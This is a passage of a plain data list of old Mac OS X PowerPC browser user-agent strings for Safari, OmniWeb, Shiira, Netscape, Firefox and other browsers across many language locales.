Gecko) Safari/412 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.6.2 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.6.2 (KHTML, like Gecko) Safari/412.2.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/416.11 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/417.9 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/417.9 (KHTML, like Gecko) Hana/1.0 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/417.9 (KHTML, like Gecko) NetNewsWire/2.0.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/417.9 (KHTML, like Gecko) Safari/416.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.9.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/417.9 (KHTML, like Gecko, Safari) Shiira/1.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418 (KHTML, like Gecko) Safari/412.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.8 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.8 (KHTML, like Gecko) NetNewsWire/2.1.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.8 (KHTML, like Gecko, Safari) Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.8 (KHTML, like Gecko, Safari) Cheshire/1.0.UNOFFICIAL Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko) AppleWebKit/418.9 Cheshire/1.0.ALPHA Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko) Hana/1.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 Cheshire/1.0.ALPHA Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko) Shiira/1.2.2 Safari/125 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko, Safari) Safari/419.3 Cheshire/1.0.ALPHA Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko, Safari/111) Cheshire/1.0.ALPHA Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.9 (KHTML, like Safari) Cheshire/1.0.ALPHA Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko) Shiira Safari/125 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko) Shiira/1.2.2 Safari/125 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko) Shiira/1.2.3 Safari/125 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419.2.1 (KHTML, like Gecko) Shiira Safari/125 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419.3 (KHTML, like Gecko) Shiira Safari/125 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/522+ (KHTML, like Gecko) OmniWeb Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/522.10.1 (KHTML, like Gecko) Shiira Safari/125 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/522.10.1 (KHTML, like Gecko) Shiira/1.2.2 Safari/125 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/522.10.1 (KHTML, like Gecko) Version/3.0 Safari/522.11 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/522.11 (KHTML, like Gecko) Version/3.0.2 Safari/522.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/522.11.1 (KHTML, like Gecko) Shiira Safari/125 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/522.8.2 (KHTML, like Gecko) Version/3.0 Safari/522.8.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/523.3+ (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/85.8.2 (KHTML, like Gecko) Safari/85.8.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.15 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.59 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.60 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.66 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/420+ (KHTML, like Gecko, Safari) OmniWeb/v595 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/420+ (KHTML, like Gecko, Safari/420) OmniWeb/v601 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/420+ (KHTML, like Gecko, Safari/420) OmniWeb/v602 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/420+ (KHTML, like Gecko, Safari/420) OmniWeb/v603 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/420+ (KHTML, like Gecko, Safari/420) OmniWeb/v605 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/85 (KHTML, like Gecko) OmniWeb/v496 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/xx (KHTML like Gecko) OmniWeb/v5xx.xx Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.0.0) Gecko/20020529 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.0.1) Gecko/20021104 Chimera/0.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.0.1) Gecko/20021111 Chimera/0.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.1) Gecko/20020826 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.1a) Gecko/20020610 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.2) Gecko/20021126 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.2.1) Gecko/20021130 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.2b) Gecko/20021016 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-au) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-ca) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-gb) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-gb) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/124 (KHTML, like Gecko) Safari/125 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.7 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.11 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.7 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.7 (KHTML, like Gecko) SunriseBrowser/0.833 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.7 (KHTML, like Gecko) SunriseBrowser/0.84 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.7 (KHTML, like Gecko) SunriseBrowser/0.853 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.7 (KHTML, like Gecko) SunriseBrowser/0.895 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.1 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.5 (KHTML, like Gecko) Safari/312.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.8.1 (KHTML, like Gecko) Safari/312.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Privoxy/3.0 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/417.9 (KHTML, like Gecko) NetNewsWire/2.0 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.9.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/419 (KHTML, like Gecko) Shiira Safari/125 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/522+ (KHTML, like Gecko) Version/3.0 Safari/522.11 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/522+ (KHTML, like Gecko) Version/3.0.2 Safari/522.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/522.10.1 (KHTML, like Gecko) Version/3.0 Safari/522.11 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/522.11 (KHTML, like Gecko) Version/3.0.2 Safari/522.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/523.15.1 (KHTML, like Gecko) Shiira Safari/125 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/523.6 (KHTML, like Gecko) Version/3.0.3 Safari/523.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/85.8.2 (KHTML, like Gecko) Safari/85.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/xxx.x (KHTML like Gecko) Safari/12x.x Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en_CA) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en_CA) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en_CA) AppleWebKit/522+ (KHTML, like Gecko) Shiira/1.2.3 Safari/125 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en_GB; rv:1.0.1) Gecko/20020823 Netscape/7.0 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en_US) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es-ES) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es-es) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es-es) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es-es) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fi-fi) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fi-fi) AppleWebKit/420+ (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/312.5 (KHTML, like Gecko) Safari/312.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/416.12 (KHTML, like Gecko) Safari/412.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13_Adobe Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/417.9 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/417.9 (KHTML, like Gecko) NetNewsWire/2.0.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-FR; rv:0.9.4.1) Gecko/20020315 Netscape6/6.2.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-FR; rv:1.0.2) Gecko/20030208 Netscape/7.02 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-ca) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-ch) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.11 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-ch) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-ch) AppleWebKit/312.1.1 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/125.5 (KHTML, like Gecko) Safari/125.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.11 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.1 (KHTML, like Gecko) Safari/125 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.1.1 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.5 (KHTML, like Gecko) Safari/312.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-IT) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.15 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/124 (KHTML, like Gecko) Safari/125.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.9.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; it-it) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/419 (KHTML, like Gecko) Shiira/1.2.3 Safari/125 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nb-no) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nb-no) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nb-no) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/416.11 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.9.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; pl-PL; rv:1.0.1) Gecko/20021111 Chimera/0.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; pl-PL; rv:1.0.1) Gecko/20021111 Chimera/0.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; pl-pl) AppleWebKit/312.8 (KHTML, like Gecko) Shiira/1.2.1 Safari/125 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; pl-pl) AppleWebKit/312.8 (KHTML, like Gecko, Safari) DeskBrowse/1.0 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; pt-pt) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8_Adobe Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/418.9 (KHTML, like Gecko) Safari/ Mozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 